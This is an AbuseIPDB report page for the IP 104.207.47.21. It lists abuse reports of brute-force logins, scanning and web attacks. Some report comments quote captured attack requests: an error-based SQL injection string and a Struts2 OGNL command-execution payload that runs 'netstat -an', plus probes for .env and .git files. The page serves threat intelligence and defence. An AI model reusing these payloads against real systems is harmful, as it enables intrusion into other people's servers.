JavaScript is disabled. Some features of this site may not work properly. For a smoother experience, please enable JavaScript in your browser settings.

AbuseIPDB » 104.207.47.21

104.207.47.21 was found in our database!

This IP was reported 95 times. Confidence of Abuse is 17%: ?

17%

ISP	3xK Tech GmbH
Usage Type	Data Center/Web Hosting/Transit
ASN	AS200373
Domain Name	3xktech.cloud
Country	🇺🇸 United States of America
City	Ashburn, Virginia

IP info including ISP, Usage Type, and Location provided by IPInfo. Updated weekly.

Report 104.207.47.21

Whois 104.207.47.21

IP Abuse Reports for 104.207.47.21:

This IP address has been reported a total of 95 times from 17 distinct sources. 104.207.47.21 was first reported on June 11th 2024, and the most recent report was 1 day ago.

Recent Reports: We have received reports of abusive activity from this IP address within the last week. It is potentially still actively engaged in abusive activities.

Reporter	IoA Timestamp (UTC)	Comment	Categories
🇫🇷 pm33	2026-06-10 19:36:03 (1 day ago)	Wordpress login attempts	Brute-Force
🇬🇧 PeravixGroup	2026-05-22 11:30:05 (3 weeks ago)	Honeypot detection: Web application scanning / reconnaissance attempt on port 8080. Severity: LOW. A ... show more Honeypot detection: Web application scanning / reconnaissance attempt on port 8080. Severity: LOW. Aaran.cloud show less	Port Scan Bad Web Bot
🇨🇳 ThreatBook.io	2026-04-28 22:58:16 (1 month ago)	ThreatBook Intelligence: http_proxy,Gateway more details on https://threatbook.io/ip/104.207.47.21 2 ... show more ThreatBook Intelligence: http_proxy,Gateway more details on https://threatbook.io/ip/104.207.47.21 2026-04-28 18:16:07 /photo/index.php?c=search&catid=23%20and%20(select%201%20from%20(select%20count(),concat(md5(1),floor(rand(0)2))x%20from%20information_schema.tables%20group%20by%20x)a) show less	Web App Attack
🇨🇳 ThreatBook.io	2026-04-09 22:49:23 (2 months ago)	ThreatBook Intelligence: http_proxy,vpn_proxy more details on https://threatbook.io/ip/104.207.47.21 ... show more ThreatBook Intelligence: http_proxy,vpn_proxy more details on https://threatbook.io/ip/104.207.47.21 2026-04-09 09:23:01 /fang/index.php?c=search&catid=23%20and%20(select%201%20from%20(select%20count(),concat(md5(1),floor(rand(0)2))x%20from%20information_schema.tables%20group%20by%20x)a) show less	Web App Attack
🇪🇸 librebit	2026-04-03 10:07:45 (2 months ago)	Brute force	Brute-Force
🇨🇳 ThreatBook.io	2026-03-29 22:46:54 (2 months ago)	ThreatBook Intelligence: http_proxy,vpn_proxy more details on https://threatbook.io/ip/104.207.47.21 ... show more ThreatBook Intelligence: http_proxy,vpn_proxy more details on https://threatbook.io/ip/104.207.47.21 2026-03-29 18:13:50 /druid/index.html show less	Web App Attack
🇦🇺 RedBear IT	2026-03-26 10:00:37 (2 months ago)	"DDoS against public endpoint"	DDoS Attack
🇨🇳 ThreatBook.io	2026-03-17 22:47:20 (2 months ago)	ThreatBook Intelligence: http_proxy,vpn_proxy more details on https://threatbook.io/ip/104.207.47.21 ... show more ThreatBook Intelligence: http_proxy,vpn_proxy more details on https://threatbook.io/ip/104.207.47.21 2026-03-17 03:29:54 / show less	Web App Attack
🇨🇳 ThreatBook.io	2026-01-24 23:15:40 (4 months ago)	ThreatBook Intelligence: http_proxy,Zombie more details on https://threatbook.io/ip/104.207.47.21 20 ... show more ThreatBook Intelligence: http_proxy,Zombie more details on https://threatbook.io/ip/104.207.47.21 2026-01-24 16:44:58 / 2026-01-24 16:44:59 /?(%27\u0023context[\%27xwork.MethodAccessor.denyMethodExecution\%27]\u003dfalse%27)(bla)(bla)&(%27\u0023_memberAccess.excludeProperties\[email protected]@EMPTY_SET%27)(kxlzx)(kxlzx)&(%27\u0023_memberAccess.allowStaticMethodAccess\u003dtrue%27)(bla)(bla)&(%27\u0023mycmd\u003d\%27netstat%20-an\%27%27)(bla)(bla)&(%27\u0023myret\[email protected]@getRuntime().exec(\u0023mycmd)%27)(bla)(bla)&(A)((%27\u0023mydat\u003dnew\40java.io.DataInputStream(\u0023myret.getInputStream())%27)(bla))&(B)((%27\u0023myres\u003dnew\40byte[51020]%27)(bla))&(C)((%27\u0023mydat.readFully(\u0023myres)%27)(bla))&(D)((%27\u0023mystr\u003dnew\40java.lang.String(\u0023myres)%27)(bla))&(%27\u0023myout\[email protected]@getResponse()%27)(bla)(bla)&(E)((%27\u0023myout.getWriter().println(\u0023mystr)%27)(bla)) show less	Web App Attack
🇨🇳 ThreatBook.io	2025-12-23 22:56:20 (5 months ago)	ThreatBook Intelligence: http_proxy,Zombie more details on https://threatbook.io/ip/104.207.47.21 20 ... show more ThreatBook Intelligence: http_proxy,Zombie more details on https://threatbook.io/ip/104.207.47.21 2025-12-23 22:50:22 /v2/api-docs 2025-12-23 06:38:41 /config/DataSetConfig%23.xml 2025-12-23 22:50:23 /swagger/docs/v1 2025-12-23 22:50:24 /api/swagger.json 2025-12-23 22:50:22 /prod-api/v2/api-docs 2025-12-23 22:50:24 /v3/api-docs 2025-12-23 22:50:23 /swagger/v1/swagger.json show less	Web App Attack
Anonymous	2025-12-14 16:11:17 (5 months ago)	botnet	DDoS Attack
Anonymous	2025-11-26 09:33:29 (6 months ago)	Attempted brute force login to web vpn 12 time(s); last attempt for 2025.11.26 is noted in report ti ... show more Attempted brute force login to web vpn 12 time(s); last attempt for 2025.11.26 is noted in report timestamp show less	Hacking Brute-Force
🇺🇸 TPI-Abuse	2025-11-25 06:38:10 (6 months ago)	(mod_security) mod_security (id:210492) triggered by 104.207.47.21 (-): 1 in the last 300 secs; Port ... show more (mod_security) mod_security (id:210492) triggered by 104.207.47.21 (-): 1 in the last 300 secs; Ports: *; Direction: 1; Trigger: LF_MODSEC; Logs: [Tue Nov 25 01:38:05.093952 2025] [security2:error] [pid 12291:tid 12291] [client 104.207.47.21:57287] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/comodo_apache/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "mail.cottrel.com"] [uri "/.env"] [unique_id "aSVOzcyhHHEJtw3Ev-wpbQAAABY"] show less	Brute-Force Bad Web Bot Web App Attack
🇺🇸 TPI-Abuse	2025-11-24 07:47:22 (6 months ago)	(mod_security) mod_security (id:210492) triggered by 104.207.47.21 (-): 1 in the last 300 secs; Port ... show more (mod_security) mod_security (id:210492) triggered by 104.207.47.21 (-): 1 in the last 300 secs; Ports: *; Direction: 1; Trigger: LF_MODSEC; Logs: [Mon Nov 24 02:47:17.057838 2025] [security2:error] [pid 6913:tid 6913] [client 104.207.47.21:31475] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/comodo_apache/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "austintrauma.com"] [uri "/.git/HEAD"] [unique_id "aSQNhUJGSfWg3FcqOHTcwgAAAAw"] show less	Brute-Force Bad Web Bot Web App Attack
🇺🇸 TPI-Abuse	2025-11-24 07:18:06 (6 months ago)	(mod_security) mod_security (id:210492) triggered by 104.207.47.21 (-): 1 in the last 300 secs; Port ... show more (mod_security) mod_security (id:210492) triggered by 104.207.47.21 (-): 1 in the last 300 secs; Ports: *; Direction: 1; Trigger: LF_MODSEC; Logs: [Mon Nov 24 02:18:03.266629 2025] [security2:error] [pid 23798:tid 23798] [client 104.207.47.21:40003] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/comodo_apache/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "arkansasbest.com"] [uri "/.env"] [unique_id "aSQGq0_P89Xfuo-v9PwBPwAAAAM"] show less	Brute-Force Bad Web Bot Web App Attack

Showing 1 to 15 of 95 reports

Think this IP has been falsely reported? You may request to have the associated reports reviewed and removed. Request Takedown 🚩

Recently Reported IPs:

🇺🇸 216.180.246.192

🇩🇪 213.209.159.225

🇺🇸 209.250.5.156

🇬🇪 176.74.71.59

🇨🇳 125.77.73.145

🇮🇳 122.187.230.38

🇮🇳 106.222.234.147

🇺🇸 70.37.89.177

🇮🇪 185.192.16.153

🇺🇸 124.198.131.39

🇨🇳 121.29.149.119

🇮🇩 115.85.80.12

🇨🇳 112.86.225.108

🇨🇦 85.217.149.33

🇳🇱 52.232.19.79

🇻🇳 14.225.7.70

🇬🇧 217.146.80.120

🇺🇸 208.84.100.38

🇺🇸 205.210.31.47

🇬🇧 185.247.137.203